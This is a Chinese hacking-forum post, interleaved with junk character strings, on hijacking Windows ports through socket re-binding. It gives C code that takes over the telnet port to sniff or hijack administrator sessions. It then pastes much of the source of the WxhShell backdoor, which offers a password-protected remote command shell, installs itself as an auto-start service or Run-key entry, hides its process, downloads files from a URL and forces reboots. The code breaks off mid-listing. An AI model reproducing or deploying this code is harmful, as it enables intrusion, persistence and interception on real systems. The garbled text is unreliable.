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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  ^o+}3=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hd~X c  
C+-GE9=  
  saddr.sin_family = AF_INET; hR3lo;'  
l-"c-2-!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "J]_B  
nAn/Vu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @Md%gEh;&  
]trVlmZXH}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^Ye i9bXl  
"}UJ~ j).  
  这意味着什么?意味着可以进行如下的攻击: #Ag-?k  
ko2Kz k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *>!O2c  
EWPP&(u3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Efi@hdEV  
'1A S66k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g(t"+ P  
%sb)U~gP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZdHfZ3)dB  
_[-+%RP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SU OuayE  
&Zl$7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $:"r$7  
9l2,:EQ*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &^e%gU8!\  
}f)$+mi  
  #include hoI?,[@F  
  #include $X_JUzb  
  #include {S(d5o8  
  #include    E4RvVfA0F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c 6sGjZdR  
  int main() zyTP|SXk  
  { >*H>'O4  
  WORD wVersionRequested; M}NmA  
  DWORD ret; &~U!X~PpB  
  WSADATA wsaData; !%x8!;za  
  BOOL val; )W)m?%  
  SOCKADDR_IN saddr; h)BRSs?v_D  
  SOCKADDR_IN scaddr; Q[^IX  
  int err; zCKZv|j6  
  SOCKET s; {dJC3/ Rf  
  SOCKET sc; !b0'd'xe  
  int caddsize; Vu '/o[nF>  
  HANDLE mt; pv&:N,p  
  DWORD tid;    6\ /x  
  wVersionRequested = MAKEWORD( 2, 2 ); @cdd~9w  
  err = WSAStartup( wVersionRequested, &wsaData ); %3scz)4$  
  if ( err != 0 ) { naCPSsei  
  printf("error!WSAStartup failed!\n"); 2b xkZS]  
  return -1; 24"Trg\WK[  
  } O[f*!  
  saddr.sin_family = AF_INET; Q=J"#EFs  
   f7 V36Q8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZzLmsTtzIu  
uZ( I|N$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L+Yn}"gIs  
  saddr.sin_port = htons(23); ]kq{9b';  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qj~m;F!  
  { Rk.YnA_J6  
  printf("error!socket failed!\n"); o^;$-O!/  
  return -1; 6H67$?jMyJ  
  } <jF]SN  
  val = TRUE; $.kP7!`:,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yC !`6$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j?%^N\9  
  { '/U[ ui0{  
  printf("error!setsockopt failed!\n"); BL<.u  
  return -1; Pcut#8?  
  } C{!L +]/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /%|JP{   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V %'`nJ!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XVAy uuTg\  
4>nY't;0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B PTQm4TN  
  { PHl{pE*  
  ret=GetLastError(); &=H{ 36i@  
  printf("error!bind failed!\n"); w*<XPBi  
  return -1; s42M[BW]  
  } ^pZ1uN!b  
  listen(s,2); D'Tb=  
  while(1) >k,|N4(  
  { J]/TxUE  
  caddsize = sizeof(scaddr); 1o)@{x/pd  
  //接受连接请求 ;hGC.}X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R;&C6S  
  if(sc!=INVALID_SOCKET) F,Q\_H##x4  
  { Vrn. #d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jm$. $B&I  
  if(mt==NULL) dt(~)*~R  
  { ;]zV ?9  
  printf("Thread Creat Failed!\n"); lY/{X]T.(  
  break; l T~RH0L  
  } r2}u\U4>  
  } ^I03PIy0l  
  CloseHandle(mt); 9Z]~c^UB  
  } %0C<_drW  
  closesocket(s); SLp &_S@4  
  WSACleanup(); P'f =r%  
  return 0; ,#[0As29u  
  }   '^ bB+  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZC 7R f  
  { ~Q"3#4l  
  SOCKET ss = (SOCKET)lpParam; Bz<T{f  
  SOCKET sc; C,7d  
  unsigned char buf[4096]; bh|M]*Pq  
  SOCKADDR_IN saddr; s.I%[kada  
  long num; eznt "Rr2  
  DWORD val; O*{<{3  
  DWORD ret; lo*OmAF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \7PPFKS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i2KN^"v?N  
  saddr.sin_family = AF_INET; '?dO[iQ$:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D+ mZ7&L  
  saddr.sin_port = htons(23); tJ[yx_mf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YXI_ '  
  { aTS\NpK&  
  printf("error!socket failed!\n"); pSp/Qpb-B  
  return -1; DhZuQpH  
  } j#QJ5(#  
  val = 100; P8!ON=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q/U(j&8W{  
  { n&ZA rJ  
  ret = GetLastError(); 4-;"w;  
  return -1; {Q],rv|;  
  } :8b{|}aYV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sC >_ulkoa  
  { O 4zD >O  
  ret = GetLastError(); zaWy7@?  
  return -1; BrF/-F  
  } !z">aIj\6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G2 A#&86J{  
  { .GcIwP'aU-  
  printf("error!socket connect failed!\n"); ^hq+ L^$^  
  closesocket(sc); eKjmU| H  
  closesocket(ss); .j?`U[V%a  
  return -1; Yt&Isi +  
  } hhd%j6  
  while(1) #HFB* >  
  { p=%Vo@*]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HS>(y2}'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !/] F.0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Py*( %  
  num = recv(ss,buf,4096,0); M)S(:Il6Xx  
  if(num>0) /(IV+  
  send(sc,buf,num,0); 8G$ %DZ $  
  else if(num==0) G8=2=/ !  
  break; e??tp]PLn  
  num = recv(sc,buf,4096,0); ~C[p}MED  
  if(num>0) m>yb}+  
  send(ss,buf,num,0); HV O mM17  
  else if(num==0) B1<:nl  
  break; D.d(D:  
  } _CqVH5U?  
  closesocket(ss); _8t5rF  
  closesocket(sc); D4,kGU@  
  return 0 ; ;1qE:x}'H  
  } S(NH# ^  
t8X$M;$  
u=_"* :}  
========================================================== Z] ?Tx2|7  
N(i%Oxp1  
下边附上一个代码,,WXhSHELL q#LB 2M  
DUH\/<^g  
========================================================== ZK:dhwer  
wM.z/r\p  
#include "stdafx.h" (NfP2E|B  
aAM!;3j]B`  
#include <stdio.h> BGM5pc (ei  
#include <string.h> .*XELP=BT  
#include <windows.h> ?88k`T'EI  
#include <winsock2.h> X3[gi`  
#include <winsvc.h> W\]bh'(  
#include <urlmon.h> =KQQS6  
wEju`0#;  
#pragma comment (lib, "Ws2_32.lib") AI KLJvte  
#pragma comment (lib, "urlmon.lib") -& Qm"-?:  
MJ5Ymt a  
#define MAX_USER   100 // 最大客户端连接数 N>h/!# ZC  
#define BUF_SOCK   200 // sock buffer HIiMq'H^  
#define KEY_BUFF   255 // 输入 buffer WMy97*L<  
+ *u'vt?  
#define REBOOT     0   // 重启 [/dGOl+  
#define SHUTDOWN   1   // 关机 6cR}Mm9Hx3  
0IZaf%zYc  
#define DEF_PORT   5000 // 监听端口 A:|dY^,:?*  
/$NDH]a  
#define REG_LEN     16   // 注册表键长度 y?=W  
#define SVC_LEN     80   // NT服务名长度 5)712b(&  
1.S7MSpTV  
// 从dll定义API hxG=g6:G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EQQ/E!N8l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [6 d~q]KH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^RL#(O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k^<s|8Y  
TUE*mDRmP  
// wxhshell配置信息 RF3?q6j ,  
struct WSCFG { (EW<Ggi  
  int ws_port;         // 监听端口 )m8ve)l  
  char ws_passstr[REG_LEN]; // 口令 [3$L}m  
  int ws_autoins;       // 安装标记, 1=yes 0=no B$A`thQp  
  char ws_regname[REG_LEN]; // 注册表键名 05sWN0  
  char ws_svcname[REG_LEN]; // 服务名 t<~WDI|AN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y{ & k`H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sk'< K5~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `As| MYv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D$ X9xtT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :LE0_ .  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0cYd6u@  
8H2zM IB  
}; 3k YVk  
[tN^)c`s/  
// default Wxhshell configuration 0*e)_l!  
struct WSCFG wscfg={DEF_PORT, oJ\)-qSf  
    "xuhuanlingzhe", kg,t[Jl  
    1, > L5fc".  
    "Wxhshell", $ghAC  
    "Wxhshell", V[9#+l~#  
            "WxhShell Service", * SAYli+@  
    "Wrsky Windows CmdShell Service",  Om%HrT  
    "Please Input Your Password: ", 9NUft8QB  
  1, \R"}=7  
  "http://www.wrsky.com/wxhshell.exe", 'K|Jg.2  
  "Wxhshell.exe" .&z/p3 1  
    }; 4)]w"z0Pc  
T >pz/7gb  
// 消息定义模块 (I<]@7>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f/1soGA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z-9@K<`H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *[ ' n8Z  
char *msg_ws_ext="\n\rExit."; i 4sd29v  
char *msg_ws_end="\n\rQuit."; "h@|XI  
char *msg_ws_boot="\n\rReboot..."; qcN{p7=0  
char *msg_ws_poff="\n\rShutdown..."; LwPZRE#  
char *msg_ws_down="\n\rSave to "; fj 14'T  
bIvF5d>9#K  
char *msg_ws_err="\n\rErr!"; >Q(+H-w  
char *msg_ws_ok="\n\rOK!"; :eK(9o  
l ~bjNhk  
char ExeFile[MAX_PATH]; Z)JJ-V!  
int nUser = 0; |AosZeO_  
HANDLE handles[MAX_USER]; b*;zdGX.A9  
int OsIsNt; N 3M:|D  
D\~s$.6B  
SERVICE_STATUS       serviceStatus; ;N+ v x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *HT )Au"5  
?nVwT[  
// 函数声明 Vki'pAN  
int Install(void); @ve4rc/LI  
int Uninstall(void); Ark+Df/  
int DownloadFile(char *sURL, SOCKET wsh); 1/ZvcdYB  
int Boot(int flag); ;Avz%2#c`  
void HideProc(void); YwbRzY-#F  
int GetOsVer(void); %_kXC~hH_  
int Wxhshell(SOCKET wsl); j|6@>T1  
void TalkWithClient(void *cs); 6}V)\"u&   
int CmdShell(SOCKET sock); X jJV  
int StartFromService(void); tYe+7s  
int StartWxhshell(LPSTR lpCmdLine); ZQL4<fy'E  
[Ej#NHs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E$u9Jbe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ';'TCb{f*  
UU7E+4O&  
// 数据结构和表定义 "-y 2En  
SERVICE_TABLE_ENTRY DispatchTable[] = 96V@+I  
{ tEU}?k+:j)  
{wscfg.ws_svcname, NTServiceMain}, 8LI aN}  
{NULL, NULL} dwH8Zg$B  
}; For`rfR  
|E& F e8  
// 自我安装 @Feusprs  
int Install(void) I "8:IF  
{ v jTs[eq>  
  char svExeFile[MAX_PATH]; YsX&]4vzm  
  HKEY key; >DFpL$oP  
  strcpy(svExeFile,ExeFile); n;Nr[hI  
5} v(Ks>  
// 如果是win9x系统,修改注册表设为自启动 'ycr/E&m{  
if(!OsIsNt) { .Lwp`{F/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .o27uB.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a&sVcsX  
  RegCloseKey(key); "w PA;4VQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { miWPLnw=L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :,<G6"i  
  RegCloseKey(key); sI M^e  
  return 0; S!LLC{  
    } U{ZE|b. ?b  
  } 4qd =]i  
} )td?t.4  
else { # NoY}*  
AX`>y@I  
// 如果是NT以上系统,安装为系统服务 8+7n"6GY2/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tQrF A2F  
if (schSCManager!=0) .C 6wsmQ  
{ k$ ya.b<X/  
  SC_HANDLE schService = CreateService }3b3^f  
  ( b I%Sq+"}  
  schSCManager, pBZf=!+E  
  wscfg.ws_svcname, 2qA"emUM  
  wscfg.ws_svcdisp, +t9$*i9`L  
  SERVICE_ALL_ACCESS, B% ]yLJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z<3{.e\e  
  SERVICE_AUTO_START, ?Aq \Gr  
  SERVICE_ERROR_NORMAL, ].TAZ-4s  
  svExeFile, jX9{Ki"  
  NULL, gv6}GE  
  NULL, )s#NQ.T[  
  NULL, \zdY$3z  
  NULL, GlVb |O"  
  NULL $!'S7;*uW  
  ); y ~PW_,  
  if (schService!=0) =6sA49~M  
  { :jKiHeBQu?  
  CloseServiceHandle(schService); f;PPB@ :`$  
  CloseServiceHandle(schSCManager); wt@Qjbqd8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !,SGKLs.m  
  strcat(svExeFile,wscfg.ws_svcname); Q; V*M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p{V_}:|=Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L~Hl?bK  
  RegCloseKey(key); `wMHjcUP  
  return 0; MrW*6jY@  
    } <FkoWN  
  } @nh* H{  
  CloseServiceHandle(schSCManager); OBCH%\;g  
} A89n^@  
} #NvL@bH  
3PBGIo  
return 1; #1-2)ZO.  
} J{69iQ  
J2KULXF  
// 自我卸载 brdfj E8  
int Uninstall(void) t+H=%{z  
{ ~xp(k  
  HKEY key; g?9IS,Gp  
f%g^6[  
if(!OsIsNt) { ,A{'lu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G\;a_]Q  
  RegDeleteValue(key,wscfg.ws_regname); ^D}]7y|fm  
  RegCloseKey(key); `R\nw)xq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0afDqvrC6  
  RegDeleteValue(key,wscfg.ws_regname); ycPGv.6  
  RegCloseKey(key); $:4* ?8 K2  
  return 0; l>kREfHq!{  
  } ^&Exa6=*FT  
} IAl X^6s*  
} j "^V?e5  
else { 2!Gb4V  
O^2@9 w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /uNgftj  
if (schSCManager!=0) W5f|#{&L:  
{ ~vGX(8N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T'K6Q cu  
  if (schService!=0) zxo" +j4Ym  
  { )5j1;A:gr  
  if(DeleteService(schService)!=0) { drM@6$k  
  CloseServiceHandle(schService); oPbxe  
  CloseServiceHandle(schSCManager); ^z^zsNx  
  return 0; }5nVZ;  
  } j-CSf(qIj  
  CloseServiceHandle(schService); P@xb  
  } O/N@ Gz[g%  
  CloseServiceHandle(schSCManager); c@&`!e  
} {!/ha$(  
} J}{a&3@Hm  
C 7a$>#%  
return 1; G9YfJ?I  
} 01_*^iCf5  
CD"D^\z  
// 从指定url下载文件 89kxRH\IhG  
int DownloadFile(char *sURL, SOCKET wsh) j{`C|zg  
{ }j_2K1NS{  
  HRESULT hr; KT9!R  
char seps[]= "/"; [dXpz^Co  
char *token; ^tr?y??k  
char *file; zT< P_l  
char myURL[MAX_PATH]; ~Q3y3,x  
char myFILE[MAX_PATH]; V9 J`LQ\0  
wr~Ydmsf  
strcpy(myURL,sURL); *?o`90HHP[  
  token=strtok(myURL,seps); L T2UY*  
  while(token!=NULL) FD*) @4<o  
  { [ e6zCN^t  
    file=token; oLh 2:c  
  token=strtok(NULL,seps); _[:>!ekx  
  } )UoF*vC(  
ib,BYFKEW  
GetCurrentDirectory(MAX_PATH,myFILE); 3$yOv "`  
strcat(myFILE, "\\"); ~ZuFMVR  
strcat(myFILE, file); fp)%Cr  
  send(wsh,myFILE,strlen(myFILE),0); [J-uvxD  
send(wsh,"...",3,0); knS(\51A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ER'zjI>t@  
  if(hr==S_OK) {: H&2iF  
return 0; h't! 1u  
else 4[P]+Z5b+  
return 1; j]X $7  
tEbR/? ,GI  
} )/vse5EG+  
Ig{ 3>vB  
// 系统电源模块 "rJJ~[Y  
int Boot(int flag) x&4gy%b  
{ O'L9 s>B  
  HANDLE hToken; g)M"Cx.  
  TOKEN_PRIVILEGES tkp; CwL8-z0 Jn  
>69-[#P!  
  if(OsIsNt) { 6 *GR_sMm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ks>l=5~v|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S5(VdMd"^  
    tkp.PrivilegeCount = 1; kHhxR;ymA7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {)5tov1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n]Z() "D  
if(flag==REBOOT) { !^FR a{b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (=eJceE!  
  return 0; P =jRof$  
} wa f)S=  
else { ":meys6t#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gkr?M^@K  
  return 0; }9FAM@x1K&  
} iS@+qWo1  
  } sPxDo?1x-  
  else { |3SM  
if(flag==REBOOT) { "+{>"_KV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9ZVzIv(   
  return 0; >bUxb-8  
} l =X6m(  
else { z,+LPr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6VQe?oh  
  return 0;  z:p;Wm  
} M}Obvl  
} )&F]j  
HVLj(_ A  
return 1; 9V0@!M8S  
} H(rK39Q  
3X>x`  
// win9x进程隐藏模块 ->S# `"@$  
void HideProc(void) w40 -K5wt>  
{ ,l )7]p*X  
CEXD0+\q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O}Mu_edM  
  if ( hKernel != NULL ) 5z=.Z\M`8  
  { :+? w>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VsjE*AJpe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EU,f;H  
    FreeLibrary(hKernel); e{6I-5`|,#  
  } ygo4.  
A}l+BIt  
return; hVe39BBtO  
} ,u@Vi0  
]Dd}^khv  
// 获取操作系统版本 ur@"wcl"V  
int GetOsVer(void) U'oFW@Y;h  
{ Ucqn 3&  
  OSVERSIONINFO winfo; dVKctt'C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t E(_Cg  
  GetVersionEx(&winfo); sgfci{~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9h/JW_  
  return 1; 30fqD1_{  
  else ?qJt4Om  
  return 0; LLD#)Jl{?  
} 7) zF8V  
|EZ\+!8N:{  
// 客户端句柄模块 3bBCA9^se  
int Wxhshell(SOCKET wsl) (ptk!u6  
{  &peUC n  
  SOCKET wsh; !3;KC"o  
  struct sockaddr_in client; jM5w<T-2/  
  DWORD myID; < pWk   
+zL|j/q?  
  while(nUser<MAX_USER) AA &>6JB{  
{ W20H4!G  
  int nSize=sizeof(client); oksAQnQe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \C&V)/  
  if(wsh==INVALID_SOCKET) return 1; H-C$Jy)f"  
;%a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8:gUo8  
if(handles[nUser]==0) =pnMV"'9  
  closesocket(wsh); w,!IvDCAw  
else Y2d(HD@  
  nUser++; m4_ZGjmJM  
  } ~Iz{@Ep*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nmWo:ox4;(  
AO~f=GW  
  return 0; k%Wj+\93 f  
} iyJx~:  
6 qK`X  
// 关闭 socket MG-#p8  
void CloseIt(SOCKET wsh) 8k_cC$*Ng  
{ p6AF16*f0  
closesocket(wsh); i}=n6  
nUser--; 7wz9x8\t  
ExitThread(0); S3N+ 9*i K  
} A81'ca/  
}l<:^lX  
// 客户端请求句柄 ko+fJ&$  
void TalkWithClient(void *cs) TMw6 EM  
{ }MIg RQ9  
X0 ^~`g  
  SOCKET wsh=(SOCKET)cs; EN/r{Cm$B  
  char pwd[SVC_LEN]; 1%$Z%?  
  char cmd[KEY_BUFF]; i TLX=.M  
char chr[1]; ncdj/C  
int i,j; #t<  
r0/aw  
  while (nUser < MAX_USER) { }'WEqNuE  
9,cMb)=0  
if(wscfg.ws_passstr) { n%K^G4k^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rGm xK|R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z]HaE|j}S  
  //ZeroMemory(pwd,KEY_BUFF); dGG8k&  
      i=0; bZlKy`Z  
  while(i<SVC_LEN) { K:q|M?_  
Y|nC_7&Bv  
  // 设置超时 :-tMH02c  
  fd_set FdRead; +[2ep"5H  
  struct timeval TimeOut; 3,^.  
  FD_ZERO(&FdRead); ngOGo =  
  FD_SET(wsh,&FdRead); KXT9Wt=  
  TimeOut.tv_sec=8; -LU%z'  
  TimeOut.tv_usec=0; bc]SY =  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4vJg"*?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C+%6N@  
PrhGp _5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ApTE:Fm1  
  pwd=chr[0]; b_w(F_0  
  if(chr[0]==0xd || chr[0]==0xa) { LhCwZ1  
  pwd=0; o0 |T<_  
  break; tLzb*U8'1w  
  } E RjMe'q4  
  i++; k"F\4M  
    } p+#]Jr  
o@[oI\Vr!  
  // 如果是非法用户,关闭 socket Q" G;L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ST1c`0e  
} 61Wh %8-  
H (tT8Q5i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1O2jvt7M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dLbSvK<(I  
yYiu69v  
while(1) { V*gh"gZ<  
F% z$^ m-  
  ZeroMemory(cmd,KEY_BUFF); ~cul;bb#  
88On{Kk.v  
      // 自动支持客户端 telnet标准   <.=-9O6  
  j=0;   bKt4  
  while(j<KEY_BUFF) { & ^;3S*p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3QDz9KwCAw  
  cmd[j]=chr[0]; ?$.JgG%Z+g  
  if(chr[0]==0xa || chr[0]==0xd) { w>wzV=R  
  cmd[j]=0; ?izl#?  
  break; G=PX'dS  
  } .`jYrW-k  
  j++; rGlnu.mK^  
    } n;LjKE  
a FL; E  
  // 下载文件 a5?Yh<cJ  
  if(strstr(cmd,"http://")) { a= (vS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nL+y"O  
  if(DownloadFile(cmd,wsh)) 6z2%/P-'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @a (-U.CZ  
  else ldt]=Sqy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"?)x&dS  
  } $]gflAe2  
  else { <72q^w  
NA+7ey6  
    switch(cmd[0]) { \)i,`bz  
  5Z`f .}^w  
  // 帮助 <>H^:iqn  
  case '?': { U+,RP$r@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y=D\  
    break; [ d`m)MW-  
  } Y+{jG(rg.F  
  // 安装 z) x.6  
  case 'i': { XD Q<28^  
    if(Install()) dP?QPky{9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]P@*4!  
    else 4"veqrC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0ax ;Q[z2  
    break; ?\$6"c<G  
    } M9Xq0BBu  
  // 卸载 + />f?+  
  case 'r': { \. a7F4h  
    if(Uninstall()) $f=6>Kn|^]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sGx3O i   
    else 5 zz">-Q !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  9XhcA  
    break; 3)y=}jw  
    } 06z+xxCo  
  // 显示 wxhshell 所在路径 w+$~ ds  
  case 'p': { 4UHviuOo8  
    char svExeFile[MAX_PATH]; c7D{^$L9 v  
    strcpy(svExeFile,"\n\r"); 1#9PE(!2  
      strcat(svExeFile,ExeFile); 3mhjwgP<nn  
        send(wsh,svExeFile,strlen(svExeFile),0); i,wZNX  
    break; "c+$GS  
    } }#S1!TU  
  // 重启 iN_P25Z<r  
  case 'b': { /[!<rhY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q CO,f  
    if(Boot(REBOOT)) {E0\mZ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xlH3t&i7  
    else { :!JQ<kV  
    closesocket(wsh); mbns%%GJU  
    ExitThread(0); 3vdFO: j  
    } 4v` G/w  
    break; -$$mrU  
    } =1y~Qlu  
  // 关机 kH`?^ ^_yJ  
  case 'd': { 0U8'dYf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2"c5<  
